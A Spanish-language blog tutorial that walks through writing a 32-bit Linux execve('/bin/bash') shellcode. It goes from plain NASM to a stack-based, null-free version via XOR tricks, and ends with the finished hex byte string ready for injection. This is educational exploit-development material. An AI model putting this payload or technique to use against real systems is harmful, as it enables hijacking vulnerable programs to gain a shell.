Proceso de escritura de un shellcode
Hoy me ha entrado del vicio de escribir un shellcode, aquí queda el proceso para quien se pregunte como se escriben estos extraños seres de la fauna binaria.
Actualización: me había olvidado del BITS 32 en el shellcode para que funcione bien
Un shellcode, llamados así porque generalmente lo que hacían era presentar una shell (aunque se puede hacer cualquier cosa con ellos), son trozos de código ensamblador, normalmente pasados a formato hexadecimal para un "consumo" más cómodo, cuya característica más importante es que se pueden cargar en cualquier posición de memoria.
Empezamos escribiendo un código que llame a execl con /bin/bash como parámetro[ http://pastebin.com/8FTgE4yz ]:
===============================================================================
section .data ; Datos comando: db '/bin/bash', 0 nullstring: dd 0
section .text ; Código global _start
_start: ; Inicio mov eax, 11 ; execve mov ebx, comando ; path del ejecutable mov ecx, nullstring ; un 0, no se usarán parámetros
int 0x80 ; Joeeeeeeeee!!! una de kerneeeeeeeel !!!
_end: ; Esto solo lo finaliza mov eax, 1 ; sys_exit mov ebx, 0
int 0x80
===============================================================================
Lo siguiente es eliminar las direcciones absolutas lo que incluye todo el section .data, así que usaremos el stack para eso, recordar que crece hacia abajo, hay que meter las cosas "al revés"
===============================================================================
section .text ; Código global _start
_start: ; Inicio push dword 0
mov ecx, esp ; Se guarda esta posición del stack ; servirá para los argumentes
; //bin/bash , para cuadrarlo en words push dword 0x68736162 ; hsab (bash) push dword 0x2f6e6962 ; /nib (bin/) push word 0x2f2f ; //
mov eax, 11 ; execve mov ebx, esp ; path del ejecutable int 0x80 ; Se llama al kernel
_end: ; Esto solo lo finaliza mov eax, 1 ; sys_exit mov ebx, 0 int 0x80
===============================================================================
Queda eliminar los 0's del código, ya que desensamblado es así
===============================================================================
00000000 680000 push word 0x0 00000003 0000 add [bx+si],al 00000005 89E1 mov cx,sp 00000007 686261 push word 0x6162 0000000A 7368 jnc 0x74 0000000C 686269 push word 0x6962 0000000F 6E outsb 00000010 2F das 00000011 66682F2FB80B push dword 0xbb82f2f 00000017 0000 add [bx+si],al 00000019 0089E3CD add [bx+di- 0x321d],cl 0000001D 80B8010000 cmp byte [bx+si+0x1],0x0 00000022 00BB0000 add [bp+di+0x0],bh 00000026 0000 add [bx+si],al 00000028 CD80 int 0x80
===============================================================================
Y un shellcode con bytes nulos no es todo lo útil que podría, aquí los XOR allanan el camino
===============================================================================
BITS 32
section .text ; Código global _start
_start: ; Inicio xor eax, eax
push eax
mov ecx, esp ; Se guarda esta posición del stack ; servirá para los argumentes
; ////bin/bash , para cuadrarlo en words push dword 0x68736162 ; hsab (bash) push dword 0x2f6e6962 ; /nib (bin/)
push word 0x2f2f ; //
mov al, 11 ; execve
mov ebx, esp ; path del ejecutable
int 0x80
_end: ; Esto solo lo finaliza xor eax, eax ; sys_exit xor ebx, ebx
inc eax int 0x80
===============================================================================
Desensamblado:
===============================================================================
00000000 31C0 xor ax,ax 00000002 50 push ax 00000003 89E1 mov cx,sp 00000005 686261 push word 0x6162 00000008 7368 jnc 0x72 0000000A 686269 push word 0x6962 0000000D 6E outsb 0000000E 2F das 0000000F 66682F2FB00B push dword 0xbb02f2f 00000015 89E3 mov bx,sp 00000017 CD80 int 0x80 00000019 31C0 xor ax,ax 0000001B 31DB xor bx,bx 0000001D 40 inc ax 0000001E CD80 int 0x80
===============================================================================
Sin ningún NULO, listo para servir
===============================================================================
\x31\xc0\x50\x89\xe1\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x66\x68\x2f\x2f\xb0\x0b\x89\xe3\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80
===============================================================================
ps: para quién llegó hasta aquí hay premio xD, un script para pasar el dumpeo binario de un shellcode al formato de string que se suele utilizar [ http://pastebin.com/mubdwfXS ]
Que aproveche :D!